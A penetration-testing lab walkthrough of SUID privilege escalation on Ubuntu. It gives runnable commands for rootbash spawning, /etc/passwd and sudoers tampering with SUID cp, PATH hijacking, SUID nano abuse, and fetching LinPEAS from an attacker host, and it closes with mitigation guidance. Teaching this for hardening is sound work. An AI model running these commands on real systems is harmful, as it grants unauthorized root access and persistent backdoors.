This article walks through the complete lifecycle of SUID-based privilege escalation on a lab Ubuntu 22.04 host. The walkthrough covers environment setup, manual and automated discovery, six distinct exploitation techniques (rootbash spawning, /etc/passwd injection, SUID-bit cloning, sudoers tampering, PATH hijacking, and editor abuse), the use of the GTFOBins reference catalog, and concludes with practical mitigation guidance for system administrators and defenders.

Table of Contents

• Introduction
• Explaining chmod 777
• Special Permission Bits Explained
• Setting the SUID Bit Explained
• Enumerating SUID Binaries
• Why SUID Matters for Privilege Escalation
• Lab Environment
• Scenario 1 – SUID Bash
  • Discovering SUID Binaries Manually
  • Exploiting SUID Bash
• Scenario 2 – SUID CP
  • Automating Discovery with LinPEAS
  • Method 1: Exploiting SUID CP
  • Method 2: Exploiting SUID CP
  • Method 3: Exploiting SUID CP
• Scenario 3 – PATH Hijacking (Custom Binary)
  • Exploiting Custom Binary
• Scenario 4 – Exploiting SUID nano
  • Exploiting Nano SUID
• Focused Enumeration with suid3num
• Leveraging GTFOBins as a Universal Reference
• Mitigation Strategies
• Conclusion

Introduction

Privilege escalation defines the second act of nearly every Linux post-exploitation engagement. After an attacker establishes an initial foothold as an unprivileged user, the immediate objective shifts to obtaining root. Among the dozens of escalation primitives available on a modern Linux host, misconfigured SUID (Set User ID) binaries remain one of the most reliable, widespread, and operator-friendly paths to full system compromise.

The SUID bit is a special permission flag that instructs the kernel to execute a binary with the privileges of the file owner rather than the privileges of the user invoking it. When the file owner is root, every user who runs that binary effectively executes it as root for the duration of the process. This behaviour serves legitimate purposes — /usr/bin/passwd, for example, must update the protected shadow file — but a single careless chmod u+s on the wrong binary collapses the security boundary between unprivileged users and the system itself.

Explaining chmod 777

This image is a visual breakdown of the Linux/Unix command chmod 777, which sets the most permissive file permissions possible.

The Three Permission Groups

Linux files have permissions for three categories of users, shown as the three colored “rwx” blocks:

• USER (red) — the owner of the file
• GROUP (orange) — users belonging to the file’s group
• OTHERS (green) — everyone else on the system

What rwx Means

Each group gets three possible permissions:

• r = read (view file contents) — worth 4
• w = write (modify the file) — worth 2
• x = execute (run the file as a program) — worth 1

How the Numbers Work

Each digit in 777 is a sum of those octal values. To grant all three permissions, you add them together:

4 (read) + 2 (write) + 1 (execute) = 7

So chmod 777 means “give read, write, and execute permission to the user, the group, AND everyone else.” Other common combos work the same way — for example, 6 would be read + write (4+2), and 5 would be read + execute (4+1).

Why It Matters

While 777 is convenient, it’s generally considered insecure because any user on the system can modify or execute the file. It’s typically used only for quick troubleshooting — most files use stricter values like 755 (owner full access, others can only read/execute) or 644 (owner can read/write, others read-only).

Special Permission Bits Explained

This image builds on the standard rwx permission model by introducing three special permission bits in Linux/Unix: SUID, SGID, and the Sticky bit. Each one modifies the execute (x) position of a permission triplet, replacing it with a different letter (s, s, or t) to signal the special behavior.

How They’re Visualized

The “BEFORE” row shows the standard rwx permissions for user, group, and others. The “AFTER” row shows what happens when you apply a special bit — the x is swapped out for a new character in the corresponding triplet:

• User triplet: rwx → rws (SUID applied)
• Group triplet: rwx → rws (SGID applied)
• Other triplets: rwx → rwt (Sticky bit applied)

What Each Bit Does

• SUID — Set User ID (chmod 4xxx or chmod u+s) When set on an executable, the program runs with the file owner’s privileges rather than the user who launched it. The classic example is /usr/bin/passwd — a regular user runs it, but it executes as root so it can edit the password file. Because of this privilege swap, SUID binaries are a common target for privilege-escalation attacks if they’re misconfigured or buggy.
• SGID — Set Group ID (chmod 2xxx or chmod g+s) On a file, it works like SUID but for the group: the program runs with the file’s group privileges. On a directory, it has a different and very useful effect — any new file created inside automatically inherits the directory’s group ownership instead of the creator’s primary group. This is essential for shared team folders where everyone needs consistent group access.
• Sticky Bit (chmod 1xxx or chmod +t) Mostly used on directories. It restricts deletion so that only the file’s owner (or root) can remove or rename a file, even if other users have write access to the directory. The most famous example is /tmp — everyone can write there, but you can’t delete someone else’s files. Without the sticky bit, world-writable directories would be chaos.

The Octal Prefix

Notice the leading digit in chmod 4xxx, 2xxx, and 1xxx — that’s a fourth digit prepended to the usual three. You can combine them: chmod 6755 sets both SUID (4) and SGID (2) on top of standard 755 permissions, and chmod 7777 would set all three special bits along with full rwx for everyone.

Capital vs Lowercase Letter

One subtle detail not shown in the image: if the special bit is set but the underlying execute bit is not, the letter appears capitalized (S or T) instead of lowercase. So rwS means SUID is set but the file isn’t actually executable — usually a misconfiguration worth investigating.

Setting the SUID Bit Explained

This image walks through a concrete example of applying the SUID bit, showing how the same outcome can be produced two different ways and how the four-digit octal value breaks down.

Two Equivalent Commands

The image shows that chmod 4755 file and chmod u+s file produce the same result on a file that already has standard permissions. They’re just two different syntaxes:

• Numeric (octal) form — chmod 4755 file sets every permission bit explicitly using a four-digit number.
• Symbolic form — chmod u+s file adds (+) the SUID bit (s) to the user (u) without touching the existing read/write/execute bits.

The symbolic form is handy when you only want to toggle one bit; the numeric form is precise but rewrites everything in one shot.

Breaking Down the Octal Digits

The “Octal Digit Breakdown” section dissects 4755 into its four positions, reading left to right:

• 4 — Special bit position The leading digit controls the special permission bits: SUID = 4, SGID = 2, Sticky = 1. Here it’s 4, meaning only SUID is enabled.
• 7 — User (owner) 4 (read) + 2 (write) + 1 (execute) = 7. The owner gets full permissions.
• 5 — Group 4 (read) + 1 (execute) = 5. The group can read and execute but not write.
• 5 — Others Same as group: read and execute, no write.

The Resulting Permission String

After running the command, the file’s permissions display as:

-rwsr-xr-x

The leading – indicates it’s a regular file (not a directory). Then the three triplets follow the pattern from earlier:

• rws — owner has read, write, and the SUID bit (notice s replaced what would have been x; the lowercase s confirms execute is also active underneath)
• r-x — group has read and execute
• r-x — others have read and execute 

What This Actually Does

Because SUID is set, anyone who runs this file executes it with the owner’s privileges, not their own. If the file is owned by root (as the bottom-right note hints — “Owner runs as root”), every user who runs it temporarily acts with root authority for the duration of that program.

This is exactly how utilities like passwd, sudo, and ping work — they need elevated privileges to do their job, but you wouldn’t want to grant every user root access just to use them. SUID is the bridge that makes this possible. The trade-off is security: a buggy or carelessly written SUID-root binary becomes a direct path to a full system compromise, which is why hardened systems audit their SUID files carefully (find / -perm -4000 is the classic check).

Enumerating SUID Binaries

Identifying every SUID-enabled binary on a system is a routine first step in both security audits and privilege-escalation reconnaissance. The following command performs an exhaustive, filesystem-wide enumeration:

find / -perm -u=s -type f 2>/dev/null

Each fragment of the command serves a deliberate purpose:

Component and its purpose

• / Anchors the search at the filesystem root, ensuring full traversal of every mounted directory.
• -perm -u=s Matches files whose permission bits include the SUID flag on the owner (the leading – makes the match inclusive rather than exact, so additional bits don’t disqualify a result).
• -type f Restricts results to regular files, filtering out directories, symlinks, sockets, and device nodes.
• 2>/dev/null Redirects file descriptor 2 (stderr) into the null device, silently discarding the “Permission denied” noise generated when traversing protected directories.

The result is a clean, single-column list of every SUID binary the current user can see — the raw material for the next phase of analysis.

Why SUID Matters for Privilege Escalation

The SUID bit is a deliberate design feature, not a vulnerability. It exists so that unprivileged users can invoke programs which legitimately require elevated rights — passwd modifying shadow is the textbook example. The danger emerges when a binary that was never intended to be a privilege boundary is granted SUID, or when a legitimately SUID program exposes functionality that an attacker can pivot into a shell.

Many standard Unix utilities provide such pivots when misconfigured with the SUID bit. Common offenders include bash, cat, cp, echo, find, less, more, nano, nmap, and vim — any of which can be coerced into spawning a root shell, reading protected files, or writing to arbitrary locations once they execute with the owner’s effective UID.

The canonical reference for these techniques is GTFOBins, a curated catalogue of Unix binaries and the exact invocations needed to abuse them across SUID, sudo, capabilities, and other contexts:

https://gtfobins.github.io/

Lab Environment

To replicate a realistic attack chain, the lab first provisions a low-privileged user account named lowpriv on the target Ubuntu host. This account represents the attacker’s initial foothold — the kind of access typically obtained through a web shell, leaked credentials, or service exploitation. The adduser command creates the account with UID 1001, generates a home directory at /home/lowpriv, and prompts for a password. Crucially, the account holds no sudo entry and no special group memberships, mirroring the typical starting point of a real engagement.

adduser lowpriv

Scenario 1 – SUID Bash (most direct)

Acting as the system administrator, the lab next plants a deliberately vulnerable SUID binary by copying /bin/bash to /usr/local/bin/rootbash and applying chmod u+s. This is the classic SUID misconfiguration: an interactive shell carrying root’s effective privileges. The permission listing confirms the transformation. Before the chmod, the owner permission bits read rwx; after the command executes, the x is replaced by an s, signalling that the SUID bit is now active. Any user who invokes this binary will run it with root’s effective UID.

cp /bin/bash /usr/local/bin/rootbash

ls -la /usr/local/bin/rootbash

chmod u+s /usr/local/bin/rootbash

ls -la /usr/local/bin/rootbash

Discovering SUID Binaries Manually

With initial access established, the attacker logs in over SSH as lowpriv and enumerates SUID binaries on the target. The find command with the -perm -u=s flag scans the entire filesystem for files where the SUID bit is set, while 2>/dev/null suppresses the permission errors that arise as the unprivileged user traverses restricted directories. The resulting list contains a mix of legitimate system utilities — passwd, sudo, mount, su, chsh — alongside any unusual entries planted by misconfiguration. The /usr/local/bin/rootbash entry at the bottom of the output stands out immediately: its non-standard location and conspicuous name flag it as a high-priority candidate for further investigation.

ssh lowpriv@192.168.1.5

find / -perm -u=s -type f 2>/dev/null

Exploiting SUID Bash

Bash drops elevated privileges by default when invoked as a SUID binary, but the -p flag bypasses this protection by preserving the effective UID at startup. Executing /usr/local/bin/rootbash -p spawns a shell that retains root privileges, and the id command confirms the result: the real UID remains 1001 (lowpriv), but the effective UID is 0 (root). At this point, the attacker holds full administrative control over the host and can read sensitive files, install backdoors, or pivot deeper into the environment.

/usr/local/bin/rootbash -p

id

Scenario 2 – SUID CP

Manual enumeration with find works but scales poorly across hardened systems with hundreds of legitimate SUID binaries. LinPEAS (Linux Privilege Escalation Awesome Script) automates the discovery of misconfigurations, weak permissions, and known privilege escalation vectors, and it annotates findings with exploitation hints. Before deploying LinPEAS, the lab introduces a second misconfiguration to broaden the attack surface: setting the SUID bit on /usr/bin/cp. The cp utility is particularly dangerous when SUID-enabled because it allows arbitrary file overwrites with root privileges, including critical system files such as /etc/passwd and /etc/sudoers.

which cp

ls -la /usr/bin/cp

chmod u+s /usr/bin/cp

ls -la /usr/bin/cp

On the attacker’s Kali machine, the operator hosts the LinPEAS distribution using updog, a lightweight Python HTTP server that binds to port 80 and serves the script over plain HTTP. This avoids the friction of SCP transfers and works through almost any egress filter that permits outbound web traffic.

 Enumerate SUID Binaries with LinPEAS

linpeas

updog -p 80

On the target side, the lowpriv user changes into /tmp (a world-writable directory that nearly every Linux host preserves for temporary files), pulls the script via wget, makes it executable with chmod 777, and launches it. The familiar LinPEAS green mascot appears in the terminal, indicating a successful start, and the script begins streaming hundreds of system checks across the screen.

cd /tmp

wget 192.168.1.17/linpeas.sh

chmod 777 linpeas.sh

./linpeas.sh

The most valuable section of the LinPEAS report for this engagement is the SUID enumeration block. The script not only lists every SUID binary on the system but also annotates each entry with exploitation context. Standard utilities are color-coded green or yellow; known-exploitable binaries are highlighted red and tagged with CVE references or GTFOBins notes. The /usr/local/bin/rootbash entry is explicitly flagged as Unknown SUID binary!, and /usr/bin/cp appears in red — drawing the operator’s attention to both attack surfaces simultaneously. The figure below reproduces this section directly from the LinPEAS run started in the previous step.

 

Method 1: Exploiting SUID CP

With cp carrying the SUID bit, the attacker can overwrite any file on the system as root. The most direct path to elevation is injecting a new privileged account directly into /etc/passwd. The first move is reading the current passwd file and staging a writable copy in /tmp using cat piped through tee. This staged copy can be modified freely without permission errors.

cat /etc/passwd | tee /tmp/passwd.new

 The next step generates a compatible password hash on the attacker’s Kali machine. The openssl passwd command produces an MD5-crypt formatted hash, prefixed with $1$, that the Linux authentication stack accepts when embedded directly into the passwd file. This older hash format predates the move to shadow but remains valid when present in /etc/passwd itself.

openssl passwd 123

The attacker now appends a new user named raaz to the staged passwd file with UID 0, GID 0, and the freshly generated password hash. Setting the UID to 0 makes raaz functionally equivalent to root in the eyes of the kernel. The SUID-enabled cp utility then overwrites /etc/passwd with the modified version. A simple su raaz, followed by entering the chosen password, drops the attacker into a root shell — confirming complete system compromise through nothing more than a misplaced SUID bit on cp.

echo 'raaz:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash' >> /tmp/passwd.new

tail -3 /tmp/passwd.new

cp /tmp/passwd.new /etc/passwd

su raaz

Method 2: Exploiting SUID CP

A subtler abuse of SUID cp involves cloning the permission bits of an existing SUID binary onto a copy of bash. The –attributes-only flag instructs cp to skip the file content and copy only the metadata, while –preserve=all transfers ownership, timestamps, and the SUID bit intact. The attacker copies /bin/bash to /tmp/bash, then uses cp with these flags to transplant the SUID bit and root ownership from /bin/cp onto /tmp/bash. Launching /tmp/bash -p yields a shell with effective UID 0, providing a stealthy persistence mechanism that survives even if the original rootbash binary is detected and removed.

cp /bin/bash /tmp

/bin/cp --attributes-only --preserve=all /bin/cp /tmp/bash

/tmp/bash -p

id

Method 3: Exploiting SUID CP

The same SUID cp primitive enables direct edits to /etc/sudoers, the file that governs sudo behavior. Adding a NOPASSWD entry for the lowpriv user secures a passwordless sudo path that survives reboots and looks far less suspicious than a tampered passwd file. The attacker reads /etc/sudoers through the SUID cp into a writable temp file, appends the line lowpriv ALL=(ALL) NOPASSWD:ALL, and uses cp again to overwrite the original. From that point forward, sudo bash launches a root shell with no password prompt, as confirmed by the whoami output.

/usr/bin/cp /etc/sudoers /dev/stdout > /tmp/sudoers.new

echo "lowpriv ALL=(ALL) NOPASSWD:ALL" >> /tmp/sudoers.new

cp /tmp/sudoers.new /etc/sudoers

sudo bash

whoami

Scenario 3 – PATH Hijacking (Custom Binary)

The next scenario demonstrates how poorly written SUID binaries become exploitable through PATH manipulation. A system administrator (or developer) writes a small C program that calls system(“ifconfig”) without specifying an absolute path. The setuid(0) and setgid(0) calls reset privileges to root at runtime, and the system() call invokes ifconfig by name only. Because the system() function relies on the PATH environment variable to locate the binary, the call is vulnerable to PATH hijacking — a vulnerability class that has plagued Unix software for decades.

mkdir /opt/scripts 
cd /opt/scripts/ 
vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("ifconfig");
return 0;
}

The administrator compiles the program with gcc, applies the SUID bit using chmod u+s, and verifies the result with ls -la. The output shows a binary owned by root with the SUID flag enabled (-rwsr-xr-x), ready to execute with elevated privileges regardless of who invokes it.

gcc vuln.c -o vuln

chmod u+s vuln

ls -la vuln

Exploiting Custom Binary

The lowpriv user runs ./vuln, and the program prints the host’s network interface configuration as expected. The behavior appears entirely benign — a network diagnostic tool returning interface details — but the lack of an absolute path inside the program creates an exploitable condition that the next step weaponizes.

cd /opt/scripts/

ls -la

./vuln

 

To exploit the PATH vulnerability, the attacker creates a malicious file named ifconfig in /tmp containing the single line /bin/bash, makes it executable with chmod 777, and prepends /tmp to the PATH environment variable using export PATH=/tmp:$PATH. When the SUID binary subsequently calls system(“ifconfig”), the shell resolves the name against the modified PATH and executes the attacker’s payload — a bash shell — with root’s effective privileges. The whoami output confirms successful escalation to root.

cd /tmp

echo $PATH

echo "/bin/bash" > ifconfig

chmod 777 ifconfig

export PATH=/tmp:$PATH

cd /opt/scripts/

./vuln

Whoami

Scenario 4 – Exploiting SUID nano

Editors carrying the SUID bit are particularly dangerous because they hand the attacker arbitrary read and write capabilities over the entire filesystem. Setting SUID on /usr/bin/nano grants direct edit access to any file as root — no exploitation primitives, no PATH tricks, no compiled payloads required. The administrator confirms the location of nano with which and applies chmod u+s, producing the now-familiar -rwsr-xr-x permission set.

which nano

chmod u+s /usr/bin/nano

ls -al /usr/bin/nano

The lowpriv user verifies the SUID flag is in place and opens /etc/passwd directly with nano. Because nano now runs with the file owner’s privileges (root), it bypasses the standard write protections that would normally block an unprivileged user from modifying /etc/passwd.

ls -al /usr/bin/nano

nano /etc/passwd

Exploiting Nano SUID

The /etc/passwd file appears inside nano, fully editable. The attacker can replace the x placeholder in the root entry with a known password hash, add an entirely new UID 0 account, or remove the password requirement altogether. The figure below shows the file open in the editor, ready for modification. No new shell command is issued at this stage — all interaction occurs inside the nano session opened by the previous command.

For this engagement, the operator chooses the simplest possible modification: deleting the single x character from the second field of the root entry. The second field of every passwd entry indicates where the password is stored — an x means the actual password hash lives in the protected shadow file. Removing that character converts root:x:0:0:root:/root:/bin/bash to root::0:0:root:/root:/bin/bash, which the system interprets as root having no password at all. The keystrokes used inside nano to commit and exit are listed below.

Ctrl+O   (write the modified file)

Enter    (confirm the filename)

Ctrl+X   (exit nano)

With the password field emptied, the standard authentication flow accepts a blank credential. The attacker simply invokes su root and is dropped straight into a root shell with no password prompt at all. The whoami output returns root, and the prompt itself shifts from lowpriv@ignite to root@ignite — a clean visual confirmation that the privilege boundary has dissolved entirely.

su root

whoami

Focused Enumeration with suid3num

LinPEAS is comprehensive but verbose. When an operator wants a fast, SUID-only enumeration pass that emits ready-to-paste exploitation commands, suid3num is the right tool. It is a lightweight Python script that lists every SUID binary, separates custom or non-standard binaries from system defaults, cross-references findings against GTFOBins, and prints prebuilt exploitation snippets for each match. The lowpriv user changes into /tmp, retrieves the script from its public GitHub repository using curl with the -k flag (to ignore certificate validation in lab environments), grants execute permissions with chmod 777, and runs it under python3.

cd /tmp

curl -k https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py --output suid3num.py

chmod 777 suid3num.py

python3 suid3num.py

The real strength of suid3num is its post-processing. Instead of returning a flat SUID inventory, it groups results into actionable sections: custom binaries, GTFOBins-backed entries, and manual exploit notes. In this case, it highlights notable binaries such as /opt/scripts/vuln, /usr/bin/nano, /usr/bin/vim.tiny, /usr/bin/cp, /usr/bin/fusermount3, and /usr/local/bin/rootbash, while also linking relevant GTFOBins references for nano and cp. The output is concise, assessment-ready, and directly useful for privilege-escalation analysis.

Leveraging GTFOBins as a Universal Reference

GTFOBins (gtfobins.github.io) is the canonical, community-maintained catalog of Unix binaries that operators can abuse to bypass local security restrictions. Every entry documents which functions a binary supports across four exploitation contexts: Unprivileged, Sudo, SUID, and Capabilities. Operators consult GTFOBins whenever they encounter an unfamiliar SUID binary, and defenders consult it to understand which utilities must never carry elevated permissions. Selecting the SUID badge in the Contexts panel and applying the //^suid$ filter narrows the catalog to exactly those binaries exploitable when their SUID bit is set. With more than three hundred entries in the SUID context alone — including R, aa-exec, ab, acr, agetty, alpine, and apache2, all visible at the top of the list — GTFOBins effectively guarantees that any SUID binary an attacker encounters has a documented exploitation path waiting to be applied. The URL used to reach the SUID-filtered view is shown below.

https://gtfobins.github.io/#+suid

Mitigation Strategies

SUID misconfigurations are easy to introduce, hard to detect manually, and devastating once exploited. Defenders should adopt the following layered controls to reduce exposure across the fleet.

First, audit SUID binaries on every host periodically and compare the results against a known-good baseline generated immediately after system provisioning. Any deviation from the baseline should trigger an investigation, and tools such as AIDE, Tripwire, or Wazuh can automate this comparison and alert on changes in real time. The audit command itself is shown below.

find / -perm -4000 -type f 2>/dev/null

Second, never apply the SUID bit to binaries capable of arbitrary file write, file read, shell spawning, or environment-sensitive command execution. The list includes — but is not limited to — cp, mv, install, dd, tar, rsync, find, nano, vim, vi, ed, less, more, awk, sed, perl, python, ruby, lua, gdb, bash, sh, and zsh. Every entry on GTFOBins under the SUID context is a binary that should not carry the bit on a hardened system.

Third, harden custom SUID programs at the source code level. Any C program that invokes external commands must use absolute paths (for example, system(“/sbin/ifconfig”) rather than system(“ifconfig”)), explicitly sanitize the environment by clearing PATH, IFS, LD_LIBRARY_PATH, and LD_PRELOAD before any privileged operation, drop privileges as early as possible using setuid(getuid()) once root access is no longer required, and validate all user-supplied input. Where possible, replace SUID binaries with capabilities granting only the specific kernel privileges the program actually requires.

Fourth, deploy mandatory access controls. AppArmor or SELinux profiles can restrict what even a root-effective process can read, write, or execute, blunting the impact of a successful SUID exploitation. Ubuntu ships AppArmor enabled by default and writing tight profiles for any custom SUID program is a high-leverage hardening step.

Fifth, mount filesystems with the nosuid option wherever the SUID bit is not strictly required. /tmp, /home, /var/tmp, /dev/shm, and any user-writable mount point should always carry nosuid in /etc/fstab. This single mount option neutralizes any SUID binary placed in those locations, eliminating an entire class of persistence and lateral movement techniques. A representative fstab entry appears below.

Conclusion

SUID-based privilege escalation illustrates how a single misplaced permission bit can collapse the boundary between an unprivileged user and root. The techniques demonstrated throughout this article — direct shell spawning via rootbash, /etc/passwd injection through SUID cp, SUID-bit cloning with –attributes-only, sudoers tampering, PATH hijacking against custom binaries, and arbitrary editor abuse via SUID nano — all exploit the same underlying principle: misplaced trust in a binary that runs with elevated privileges. Tools such as LinPEAS, suid3num, and the GTFOBins catalog have industrialized the discovery and weaponization of these flaws, reducing the time from initial foothold to root from hours to minutes.

The corresponding defensive lesson is equally clear. Every SUID bit on a Linux host represents a deliberate trust decision, and any binary capable of writing files, spawning shells, or invoking external commands without strict environment sanitisation will eventually be turned against the system that hosts it. Operators should weaponise this knowledge during engagements; administrators should weaponise it during hardening reviews. Treat the SUID flag the way you would treat a network firewall rule — explicit, justified, audited, and reviewed regularly.